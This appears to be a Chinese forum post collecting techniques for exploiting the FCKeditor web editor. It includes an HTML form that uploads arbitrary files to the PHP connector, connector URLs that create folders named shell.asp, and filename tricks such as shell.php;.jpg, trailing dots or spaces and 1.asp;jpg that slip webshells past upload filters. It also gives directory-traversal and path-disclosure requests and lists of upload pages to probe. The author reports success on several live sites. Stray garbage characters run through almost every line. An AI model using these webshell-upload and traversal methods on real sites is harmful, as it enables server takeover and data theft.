Fckeditor漏洞利用总结
& E$ `4 f; G) R3 D8 @查看编辑器版本; b$ E- u8 }2 f" k( d1 B
FCKeditor/_whatsnew.html
' \2 \1 }) C5 V$ Y—————————————————————————————————————————————————————————————8 W1 I4 Z* o; \4 A& ]! ~0 \
$ a, V/ Y) c; x E; K3 x1 V2. Version 2.2 版本. o! Z3 s4 U8 s
Apache+linux 环境下在上传文件后面加个.突破!测试通过。1 O Z" |& ~0 B* u) X3 B I
—————————————————————————————————————————————————————————————
' b b) A2 O& q. r6 H* X6 V& V3 k c* U# k3 z1 O' h
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
$ }3 i8 A. G8 d% S2 ^2 a<form id="frmUpload" enctype="multipart/form-data"
+ Z8 p$ p4 Z6 i' Vaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>1 t$ f5 ~/ l% Z; | k
<input type="file" name="NewFile" size="50"><br>2 W4 k' h+ z( A6 O
<input id="btnUpload" type="submit" value="Upload">
6 s4 Q' ]3 @0 f# r</form>
4 h/ m) F/ k: i/ _* d—————————————————————————————————————————————————————————————
3 ]9 I9 E' h) x) W) S
9 s! c6 O: i. |, U6 E x4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
" Z- S4 o( B/ S; w* E 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。% Y. h. t4 Y' ]
4.1:提交shell.php+空格绕过 K9 V& J5 Z* }4 m
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。( z7 I- u+ [3 {" x0 ]
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。+ M5 X1 Y) Q; u+ t
—————————————————————————————————————————————————————————————
8 N2 x- b4 o1 I3 ^- H9 W
5 A ~/ f- n. {) E/ v1 k6 H0 p5. 突破建立文件夹. G7 u% M! L- t
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684# G) M; c7 Y. e; ~+ K
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp2 t. a* `: p+ z) T [1 T0 p! k( T
—————————————————————————————————————————————————————————————
7 c% | P% r$ J# z
' ?1 k: P* J0 ^# ~6. FCKeditor 中test 文件的上传地址
, r b9 }9 Y( V1 { _) r8 \FCKeditor/editor/filemanager/browser/default/connectors/test.html
3 B! L+ x- R0 a- I) mFCKeditor/editor/filemanager/upload/test.html* d+ u1 D6 a, I- q' T3 J* z
FCKeditor/editor/filemanager/connectors/test.html
3 z9 M# x8 ~9 S$ k# JFCKeditor/editor/filemanager/connectors/uploadtest.html0 K1 s, {% F S: K# C2 h9 w/ {/ S7 Z
—————————————————————————————————————————————————————————————
. _# \, u: X$ ]% M
7 G& s) C( \+ ~7 F7.常用上传地址& p% H0 W$ l2 z6 ~: e q1 U
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/2 T _* e j; W z7 D5 z
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp) @8 N8 {2 M, N
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)2 M7 U" H" l0 T+ v
JSP 版:) m6 c% j% m' `6 q, ]: t% i
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp! \! S, @5 I+ B% M: D- n$ a4 k
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
( T5 ^9 r6 ?- f& t; Q- `+ ?件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。( r1 F& U6 j) b" M. }
—————————————————————————————————————————————————————————————
0 N/ u- f6 A0 i# I/ j7 Y
' V: g2 w5 w$ y. ^. r r, c, u8.其他上传地址
& v; o( i& k, ?) I6 V% X! T' q( TFCKeditor/_samples/default.html
. m! U' B+ r# j5 w7 L/ ]. |3 aFCKeditor/_samples/asp/sample01.asp5 Q7 J( z1 l7 O" N
FCKeditor/_samples/asp/sample02.asp
' N8 A+ \0 m. Q/ wFCKeditor/_samples/asp/sample03.asp
- }1 w# A4 y0 U/ B4 ^) K; VFCKeditor/_samples/asp/sample04.asp4 V9 W% e! U; m1 w( h
一般很多站点都已删除_samples 目录,可以试试。! G4 W+ `5 h, F$ H$ Z
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
8 d6 Z2 |4 s7 b; j( B) X/ S—————————————————————————————————————————————————————————————
8 V' l; |( S) g! N+ X
* l* y' Q' n: D+ \/ ]( t9 X9.列目录漏洞也可助找上传地址
. ~0 X- Q( a- ?, y# y& R+ sVersion 2.4.1 测试通过) N( ?( C% M4 t4 m. Z; ^4 T" e
修改CurrentFolder 参数使用 ../../来进入不同的目录
! L- V0 w* h8 v+ _" q/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp, ~( @0 l: _! i3 `* l! F. g5 ~
根据返回的XML 信息可以查看网站所有的目录。
) ~0 \/ M( n# W9 G: x0 i- W5 n8 o9 N" `- DFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F3 N6 U& ]4 k/ }5 i2 [
也可以直接浏览盘符:- s' h# `( h0 K- A
JSP 版本:
( i" h6 k# p6 m5 o" H: OFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F% _4 n9 w' P0 ?# e! O7 T$ ]
—————————————————————————————————————————————————————————————' [) j) F' H r& e0 Z& D
" d/ N; v: j% R" q% l
10.爆路径漏洞4 _4 T. g* |1 B# q# z
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp& I, S" W) y& P1 C. C1 C
—————————————————————————————————————————————————————————————
$ O! g" Q. U V- R; C
) O' C1 r2 q5 Q: t' h11. FCKeditor 被动限制策略所导致的过滤不严问题. C/ ?2 o/ ?- {& {8 I
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
" d: {* [' Y- N: s- f脆弱描述:
[1 X, q) p- i6 eFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
5 b' t' D6 |+ V2 @' Whtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
! k. ^% v/ @ fFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
- j7 r( {* ]9 [( I 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。# m. q& r: D! t* `& J( m+ V
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
8 V; v+ ^" S) |; U9 O, ^—————————————————————————————————————————————————————————————
2 T, O& N d2 @# N j1 E' @
; {1 D6 z3 V' K4 Y N12.最古老的漏洞,Type文件没有限制!6 B8 w+ ?+ j6 j/ }5 f0 q7 E: m+ }
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 6 s1 @0 j2 m' i: e0 P
—————————————————————————————————————————————————————————————! r# ^' _: Y( S9 M% z
( h- d; G/ F& m; a# J8 t# @===============================================================================================================================================% V. _) D1 s: G- h9 B( ~: A
' \2 E/ h1 ^3 {
FCK编辑器jsp版本漏洞:
: T K4 N* B! d4 Y3 S
5 D' `# v- p3 N ~. t) w/ ~) I" B
0 v4 j. S0 t5 y; g+ I1 o! {$ Shttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
% i( r' i& p4 _8 C# i! O1 `
8 y" `- t5 K6 n- r" [0 E上传马所在目录1 K9 I1 P+ X0 a5 ^ l
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=// C. P/ o' W3 z% p( k# W
上传shell的地址:
4 ~, r' K5 m" _' U. ]http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector$ R% L0 A# i/ V# ]
跟版本有关系.并不是百分百成功. 测试成功几个站.
5 _. p6 s( M: I不能通杀.很遗憾.) x) X0 M& A" @# }/ e+ C4 S+ h0 [
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
& E; B5 n) A7 |) c4 f) z4 Q如果以上地址不行可以试试9 {+ D! o& M# k: e/ j
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector+ H3 X; b, H8 h* V
FCKeditor/_samples/
) R/ u# Z; ^5 CFCKeditor/_samples/default.html, |* z8 U# Y4 _$ d% u
FCKeditor/editor/fckeditor.htm
, B8 `8 c5 g: [FCKeditor/editor/fckdialog.html
, u4 o; v2 k% a, M
: o3 J; h! q5 v4 @6 g% n( L
) [8 ]. V0 B6 \( v1 U, X! W% Z- v) I2 e! V; x4 y
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg$ |0 ]' \) a- S. V3 N
|